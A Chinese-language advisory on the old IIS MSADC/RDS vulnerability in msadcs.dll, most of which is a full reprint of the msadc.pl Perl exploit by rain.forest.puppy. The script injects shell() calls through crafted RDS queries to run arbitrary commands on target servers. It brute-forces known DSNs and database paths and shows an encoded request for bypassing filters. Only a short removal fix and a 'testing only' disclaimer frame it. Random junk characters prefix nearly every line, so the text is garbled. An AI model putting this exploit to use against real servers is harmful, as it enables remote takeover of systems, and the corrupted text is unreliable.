IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
,j>FC j> 1o/(fy 涉及程序：
OcMB)1uh\ Microsoft NT server
6 8n ;#-X 7]Qxt%7/> 描述：
xGr{ad .N 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
G*EF_N. G0 M/Z$?nd_H 详细：
TU)Pi.Aa 如果你没有时间读详细内容的话，就删除:
@su<_m6' c:\Program Files\Common Files\System\Msadc\msadcs.dll
b]?5r)GK 有关的安全问题就没有了。
C3^3< } *) l 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
&Y @),S9 SVwxK/Fci 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
DM v;\E~D 关于利用ODBC远程漏洞的描述，请参看:
zmZU"eWp) E>
pr})^w http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Z] r9lC +JG05h%' 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
k@% 5P-e} http://www.microsoft.com/security/bulletins/MS99-025faq.asp $- ]G6r .9Oj+:n 这里不再论述。
!21G $ [H yuC$S&Y >! 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
=e
1Q>~ N/WtQSl /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
}@6yROy.
的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Q)4[zSt R# GQ?FUFuIoW !wE% <Fh #将下面这段保存为txt文件，然后: "perl -x 文件名"
>pZ _ " LDNkw' #!perl
Mu:zWLM*M #
?r(vXq\ # MSADC/RDS 'usage' (aka exploit) script
0LC]%x+" #
Zjn1,\(t~u # by rain.forest.puppy
@I1*b>X~< #
b( mZ/2,B # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
< ~CY?
# beta test and find errors!
4J`-&05O * ;Q#UH use Socket; use Getopt::Std;
H @zZ[ getopts("e:vd:h:XR", \%args);
0Y* "RbG |UlR+'rl print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
/|NyO+Io c99|+i50 if (!defined $args{h} && !defined $args{R}) {
XFs7kT Y print qq~
:Kyr}- Usage: msadc.pl -h <host> { -d <delay> -X -v }
9wc\~5{li -h <host> = host you want to scan (ip or domain)
=>>Dnp -d <seconds> = delay between calls, default 1 second
f #AuZ]h -X = dump Index Server path table, if available
D`Vb3aNB=L -v = verbose
#p;<X|Hc}8 -e = external dictionary file for step 5
J
R~s`> 2 LjGLi>kI~ Or a -R will resume a command session
Xo(W\Pes jQz^)8)B ~; exit;}
HL[V}m S.iUiS" $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
`ba<eT': if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
<l,e6K if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
c|m? f if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
tMU10=d $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
He4q-\ht if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
S9[Up}` ?5Z-w if (!defined $args{R}){ $ret = &has_msadc;
[`h,Ti!m< die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
8 rE` R.*
k7-(; print "Please type the NT commandline you want to run (cmd /c assumed):\n"
X_JC1 . "cmd /c ";
O.Dz} [w $in=<STDIN>; chomp $in;
h$~$a;2cR $command="cmd /c " . $in ;
P*Jk 8MK#G O*/ Utl if (defined $args{R}) {&load; exit;}
2y$DTMu uU$/4{ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
3- d"-'k &try_btcustmr;
R(y`dQy<K nx`W!|g$` print "\nStep 2: Trying to make our own DSN...";
*WzPxQ_ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
z-0
N/?x1 Cu$`-b^y print "\nStep 3: Trying known DSNs...";
jMR9E@>~E &known_dsn;
]+^4Yq>2 [KO\!u|?YS print "\nStep 4: Trying known .mdbs...";
|%X_<Cpk &known_mdb;
e6jdSn xXV15%& if (defined $args{e}){
b0%#=KMi print "\nStep 5: Trying dictionary of DSN names...";
Z^A( Q>{e &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
}EfRYE$E =&4eW#{LuH print "Sorry Charley...maybe next time?\n";
r!>=G% exit;
-jT K3&5 >i1wB!gc8 ##############################################################################
A}pe>j a [daR) C sub sendraw { # ripped and modded from whisker
LWM& k#i sleep($delay); # it's a DoS on the server! At least on mine...
86&r;c : my ($pstr)=@_;
R*dXbI&,e socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Ax!@vL&@ die("Socket problems\n");
^CDh! ) if(connect(S,pack "SnA4x8",2,80,$target)){
Bt\V1 ) select(S); $|=1;
.$G ^c print $pstr; my @in=<S>;
j\.pS^+ select(STDOUT); close(S);
0j#$Swa return @in;
xr)m8H } else { die("Can't connect...\n"); }}
N9Fu HwMe^e; ##############################################################################
u*Y!=IT TSL/zTLDJ sub make_header { # make the HTTP request
3@;24X my $msadc=<<EOT
[.G~5%974 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
ok&v+A User-Agent: ACTIVEDATA
.$x822
Host: $ip
# zd}xla0] Content-Length: $clen
V3pn@'pr Connection: Keep-Alive
=8qhK=&] Mr K?,7*Xi ADCClientVersion:01.06
{\!@ k\__ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
\w{fq+G $/JnYkL{m --!ADM!ROX!YOUR!WORLD!
Bx xqzN+ Content-Type: application/x-varg
8=sMmpB 7u Content-Length: $reqlen
{K=[Fu= {}PBYX R EOT
D GAg#jh ; $msadc=~s/\n/\r\n/g;
ORV'dr return $msadc;}
37,)/8]lG A56aOI= ##############################################################################
xaSiG oP<E ) sub make_req { # make the RDS request
eY$Q}BcW my ($switch, $p1, $p2)=@_;
0ipYXbC my $req=""; my $t1, $t2, $query, $dsn;
^yF2xJ)9- f=MR.\ if ($switch==1){ # this is the btcustmr.mdb query
! 3at(+4 $query="Select * from Customers where City=" . make_shell();
Lr( w S { $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
b(g?X
( & $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
BtWm ZaKi j\@|oW0 elsif ($switch==2){ # this is general make table query
hRN>] e,! $query="create table AZZ (B int, C varchar(10))";
oakm{I|k} $dsn="$p1";}
L@5g#mSl \?.M1a[ elsif ($switch==3){ # this is general exploit table query
_{?/4ZhA\+ $query="select * from AZZ where C=" . make_shell();
o{QPW $dsn="$p1";}
laFF/g;sRC h|=&a0 elsif ($switch==4){ # attempt to hork file info from index server
G Q+g.{c $query="select path from scope()";
w.0]>/C $dsn="Provider=MSIDXS;";}
m`ab5<%Gn (V~PYf% elsif ($switch==5){ # bad query
|a Ht6F $query="select";
W r;?t! $dsn="$p1";}
p>]2o\[" 2KmPZ&r $t1= make_unicode($query);
9ev " BO $t2= make_unicode($dsn);
d `+cNKf $req = "\x02\x00\x03\x00";
M U&P+Wr $req.= "\x08\x00" . pack ("S1", length($t1));
F_Mi/pB^`9 $req.= "\x00\x00" . $t1 ;
$y*[" ~TJ $req.= "\x08\x00" . pack ("S1", length($t2));
5/{gY{ $req.= "\x00\x00" . $t2 ;
%g&i.2v $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
-@_V|C'? return $req;}
S)\%.~ n ep"54o5=d ##############################################################################
C,m
o4,Q 9Lxj
]W2^ sub make_shell { # this makes the shell() statement
]hkway return "'|shell(\"$command\")|'";}
NCysYm t Ijj]_V{, ##############################################################################
(PCv4:`g 5zBsu lRt sub make_unicode { # quick little function to convert to unicode
U~8 oE_+ my ($in)=@_; my $out;
7[ra#>e8' for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
S}*%l)vfR return $out;}
@=[ SsS ^E8eW ##############################################################################
~\m|pxcj nMHs5'_y sub rdo_success { # checks for RDO return success (this is kludge)
$.@)4Nu! _ my (@in) = @_; my $base=content_start(@in);
8.Ty
,7Z if($in[$base]=~/multipart\/mixed/){
6,|)%~VUm return 1 if( $in[$base+10]=~/^\x09\x00/ );}
A5ps|zidI return 0;}
&Qdd\h# Ge;plD-f ##############################################################################
U= PG0 .sDVBT'% sub make_dsn { # this makes a DSN for us
9f4#b8 my @drives=("c","d","e","f");
c x8H.L print "\nMaking DSN: ";
WNPdy m foreach $drive (@drives) {
"8 "7AoE print "$drive: ";
pJ#R :#P my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
|f0KIb}d "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
^25[%aJI . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
?qQRA|n* $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
B6 b {hsO return 0 if $2 eq "404"; # not found/doesn't exist
[sY>ac if($2 eq "200") {
n300kpv foreach $line (@results) {
nNFZ77lg return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
=kvYE,,g_ } return 0;}
WVf>>E^1 RSY{IY ##############################################################################
`_'I 9,.a * 5#Y [c sub verify_exists {
q<b;xx my ($page)=@_;
(k..ll p~ my @results=sendraw("GET $page HTTP/1.0\n\n");
J,E'F!{ return $results[0];}
+'x`rk xla9:*pPn ##############################################################################
M+ gYKPP 'qhA4W9 sub try_btcustmr {
<c6C +OWT, my @drives=("c","d","e","f");
k]"Rg2>% my @dirs=("winnt","winnt35","winnt351","win","windows");
,g$N Ee##:I [z foreach $dir (@dirs) {
X] /r'Tz print "$dir -> "; # fun status so you can see progress
s Hu~;) foreach $drive (@drives) {
' @iS5Fni print "$drive: "; # ditto
~J6c1jG $reqlen=length( make_req(1,$drive,$dir) ) - 28;
;%#@vXH[Oo $reqlenlen=length( "$reqlen" );
Ss&R!w9 p $clen= 206 + $reqlenlen + $reqlen;
fmvv
q1G& '+ |{4-V my @results=sendraw(make_header() . make_req(1,$drive,$dir));
4
|N&Y if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
@fbB3 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
H0s,tTK8 Nze#u; ##############################################################################
{q"l|Oe ge[+/$(1 sub odbc_error {
S3Tww]q my (@in)=@_; my $base;
d *T;RBk my $base = content_start(@in);
C BTa9|57 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
? /~7\ '|Z $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
xU^Flw,4 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
uM0 z%z 5b $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
F[c;iM(^ return $in[$base+4].$in[$base+5].$in[$base+6];}
g/4.^c print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
K{HRjNda# print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
lYeot8 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
X .g")Bt7 )=X8kuB~ ##############################################################################
0@t/j< 5o 3e:"tus~ sub verbose {
(CH F=g my ($in)=@_;
; { Y|n_ return if !$verbose;
b' ^ -$ print STDOUT "\n$in\n";}
UP PDs " M,PZ|=V6a ##############################################################################
Bj J$I^ t.>vLzrU sub save {
>b |l6 #% my ($p1, $p2, $p3, $p4)=@_;
){")RrD( open(OUT, ">rds.save") || print "Problem saving parameters...\n";
y8wOJZ<K print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
^Y n{Vi2. close OUT;}
h8O[xca/~ @B~/0
9 ##############################################################################
S~ }?6/G. &S<tX]v sub load {
s &M6DFlA my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Q/=L(_1l open(IN,"<rds.save") || die("Couldn't open rds.save\n");
>0 i?} @p=<IN>; close(IN);
Tfgx>2 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
}
CJQC $target= inet_aton($ip) || die("inet_aton problems");
d" nE+pgE print "Resuming to $ip ...";
O.1Z3~r -N $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
w-|i8%X if($p[1]==1) {
aIZ@5w"7 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
|jaUVE_2[ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
& |26x
> my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
^C@uP9 g if (rdo_success(@results)){print "Success!\n";}
L$@^ EENS else { print "failed\n"; verbose(odbc_error(@results));}}
HH2*12e elsif ($p[1]==3){
>wM%|j' if(run_query("$p[3]")){
SA{A E9y print "Success!\n";} else { print "failed\n"; }}
oyJ /Oe
{ elsif ($p[1]==4){
Cfb/f]*M if(run_query($drvst . "$p[3]")){
t[F tIj6 print "Success!\n"; } else { print "failed\n"; }}
vBQ5-00YY= exit;}
>3X!c"#l +*d,non6v ##############################################################################
(ZjIwA9> ?Gj$$IAe sub create_table {
3b{8c8N^ my ($in)=@_;
@=b 0>^\m $reqlen=length( make_req(2,$in,"") ) - 28;
As 1E r[> $reqlenlen=length( "$reqlen" );
#*
S0d1 $clen= 206 + $reqlenlen + $reqlen;
)AqM? FE4R my @results=sendraw(make_header() . make_req(2,$in,""));
B.K" 1o return 1 if rdo_success(@results);
VE6T&fz` my $temp= odbc_error(@results); verbose($temp);
yK0Q, return 1 if $temp=~/Table 'AZZ' already exists/;
#v')iR"
return 0;}
{ `KgyC W: ^Q4w<s X' ##############################################################################
||}|=Sz 7|T5N[3?l, sub known_dsn {
Nj.(iBmr # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
&m4
\"X@ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
M,t8<y4 W/ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
@"kA&=0;|J "banner", "banners", "ads", "ADCDemo", "ADCTest");
i,S%:0c7) |V lAt#E foreach $dSn (@dsns) {
& .+[~2 print ".";
M`KrB5 a+6 next if (!is_access("DSN=$dSn"));
()( @Qcc if(create_table("DSN=$dSn")){
zY\v|l<T print "$dSn successful\n";
%g0"Kj5 if(run_query("DSN=$dSn")){
}`IN5NdYp print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
c$?qN&X_K print "Something's borked. Use verbose next time\n";}}} print "\n";}
eP'e_E Nt&}T ##############################################################################
R/b)h P ~ FI*.2rdSR sub is_access {
\"_;rJ{!aE my ($in)=@_;
RXt`y62yK $reqlen=length( make_req(5,$in,"") ) - 28;
} ~=53$+ $reqlenlen=length( "$reqlen" );
<jw`"L[D $clen= 206 + $reqlenlen + $reqlen;
]BP/KCjAI< my @results=sendraw(make_header() . make_req(5,$in,""));
3oxQ[.o my $temp= odbc_error(@results);
hof$0Fg verbose($temp); return 1 if ($temp=~/Microsoft Access/);
A ! <R? return 0;}
*A GC[w}/ H4KwbTT"+ ##############################################################################
'7wI 2D L,waQk / @ sub run_query {
^gH.5L0]gH my ($in)=@_;
7u! R 'D $reqlen=length( make_req(3,$in,"") ) - 28;
vp4!p~C{ $reqlenlen=length( "$reqlen" );
5D-xm$8C $clen= 206 + $reqlenlen + $reqlen;
6H VS0 my @results=sendraw(make_header() . make_req(3,$in,""));
W8yr06{] return 1 if rdo_success(@results);
7SXi#{ my $temp= odbc_error(@results); verbose($temp);
| j^> 6nE return 0;}
/Rx%}~x/m t{!}^{
"5 ##############################################################################
kdQ=% E^1uZI\z sub known_mdb {
o,D>7|h my @drives=("c","d","e","f","g");
{^" c>'R my @dirs=("winnt","winnt35","winnt351","win","windows");
}N2T/U my $dir, $drive, $mdb;
)`-9WCd& my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
A7+eWg{ r&1N8o # this is sparse, because I don't know of many
e@Z(z^V my @sysmdbs=( "\\catroot\\icatalog.mdb",
6N~~:Gt "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
yXppu [= "\\system32\\certmdb.mdb",
x
nW apG "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
/qo. Z !z(POK my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
#R305 "\\cfusion\\cfapps\\forums\\forums_.mdb",
q' 3= "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
*FK!^Y "\\cfusion\\cfapps\\security\\realm_.mdb",
-:a
9'dT "\\cfusion\\cfapps\\security\\data\\realm.mdb",
iIc O_ZyA "\\cfusion\\database\\cfexamples.mdb",
"] kaaF$U% "\\cfusion\\database\\cfsnippets.mdb",
Cg}cD. "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
8cfxKUS "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
uzho>p[ae "\\cfusion\\brighttiger\\database\\cleam.mdb",
H `),PY2 "\\cfusion\\database\\smpolicy.mdb",
D>?%p"e "\\cfusion\\database\cypress.mdb",
lp!@uoN^T "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
D D"]as"# "\\website\\cgi-win\\dbsample.mdb",
<z %zz c1s "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
"p#mNc "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
*@cXBav/< ); #these are just
b&H A_G4 foreach $drive (@drives) {
!ygh`]6V foreach $dir (@dirs){
;| soc:aH foreach $mdb (@sysmdbs) {
o8
q@rwu3 print ".";
:~ zK0v" if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Cj _cu print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
UR1U; k if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
7 AV !v` print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
u{ JAC! } else { print "Something's borked. Use verbose next time\n"; }}}}}
T1M4@j 8.{5c6G foreach $drive (@drives) {
NLoJmOi;L7 foreach $mdb (@mdbs) {
r m+|xvZ4 print ".";
9N5 &N3 if(create_table($drv . $drive . $dir . $mdb)){
`cy_@Z5A print "\n" . $drive . $dir . $mdb . " successful\n";
+7^%fX;3pW if(run_query($drv . $drive . $dir . $mdb)){
=MB[v/M59w print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
mAk)9`f/ } else { print "Something's borked. Use verbose next time\n"; }}}}
>e=tem~/ }
e DX{}Dq( y''`73U" ##############################################################################
xo6-Y=c8 Iy8Ehwejd sub hork_idx {
`L]cJ0tAs print "\nAttempting to dump Index Server tables...\n";
B3c
rms[' print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Cb x/ $reqlen=length( make_req(4,"","") ) - 28;
*S:^3{.m= $reqlenlen=length( "$reqlen" );
;pBSGr 9 $clen= 206 + $reqlenlen + $reqlen;
,k pk XK my @results=sendraw2(make_header() . make_req(4,"",""));
,l& Dt, if (rdo_success(@results)){
hG
uRV| ` my $max=@results; my $c; my %d;
dE.R$SM for($c=19; $c<$max; $c++){
f lV QG@ $results[$c]=~s/\x00//g;
p#qQGJe $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
#=OKY@z/ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
XBF#ILJ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
owmV7E1 $d{"$1$2"}="";}
|@sUN:G4k foreach $c (keys %d){ print "$c\n"; }
CS:j-> } else {print "Index server doesn't seem to be installed.\n"; }}
k9 .@S vCFMO3 ##############################################################################
^UEI`_HO0 7xO
=:* sub dsn_dict {
P"XF|*^U open(IN, "<$args{e}") || die("Can't open external dictionary\n");
QuT8(s1Q! while(<IN>){
kHo0I8
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
)_,*2|b next if (!is_access("DSN=$dSn"));
PUux KW} if(create_table("DSN=$dSn")){
\WQ\q
\ print "$dSn successful\n";
J)x-Yhe if(run_query("DSN=$dSn")){
4~P{H/ ] print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
A'c 0zWV 2 print "Something's borked. Use verbose next time\n";}}}
_o'ii
VDuD print "\n"; close(IN);}
-,uTAk0+@ =A$5~op% ##############################################################################
/v
U$62KA ]- " )r sub sendraw2 { # ripped and modded from whisker
!)?n n3 sleep($delay); # it's a DoS on the server! At least on mine...
!0z bWB 9 my ($pstr)=@_;
l"W9uS;\T socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
}/4 AT die("Socket problems\n");
3PIZay if(connect(S,pack "SnA4x8",2,80,$target)){
r.lH@}i%n print "Connected. Getting data";
}cn46 L%/ open(OUT,">raw.out"); my @in;
` J'xVq#O select(S); $|=1; print $pstr;
*l)_&p while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
?S~HnIn close(OUT); select(STDOUT); close(S); return @in;
5@ %$M$ E } else { die("Can't connect...\n"); }}
MT [V1I{LV IGV @tI ##############################################################################
Nv,1F ^vn8s~# sub content_start { # this will take in the server headers
yS [:C
2v my (@in)=@_; my $c;
0BMKwZg for ($c=1;$c<500;$c++) {
s X.L if($in[$c] =~/^\x0d\x0a/){
lG I1L Uo if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Aq yR+ else { return $c+1; }}}
IlVz 5#R return -1;} # it should never get here actually
e=<knKc
Q GPONCL8(0 ##############################################################################
E2 Q[ yS^";$2Tc sub funky {
mKugb_d? my (@in)=@_; my $error=odbc_error(@in);
oM G8?p if($error=~/ADO could not find the specified provider/){
R9A8)dDz print "\nServer returned an ADO miscofiguration message\nAborting.\n";
]i(tou-[i exit;}
'- oS=OrZ if($error=~/A Handler is required/){
N7Kq$ G2O print "\nServer has custom handler filters (they most likely are patched)\n";
9]< p exit;}
i,r O3J n if($error=~/specified Handler has denied Access/){
z#ab
V1
Xi print "\nServer has custom handler filters (they most likely are patched)\n";
P"Lk(gY exit;}}
wzVx16Rvc B 7zyMh ##############################################################################
![h+ R@_( pM],-7UM sub has_msadc {
'r~,~ A I my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
IFc xyp my $base=content_start(@results);
8n+&tBq 1 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
L. ScC return 0;}
GvSSi'q~B <o@&I "
o ########################
ajC'C!"^Ty D99g} `% IzW2v6 解决方案：
V T8PV5z 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
jd 8` D6|Z 2、移除web 目录: /msadc
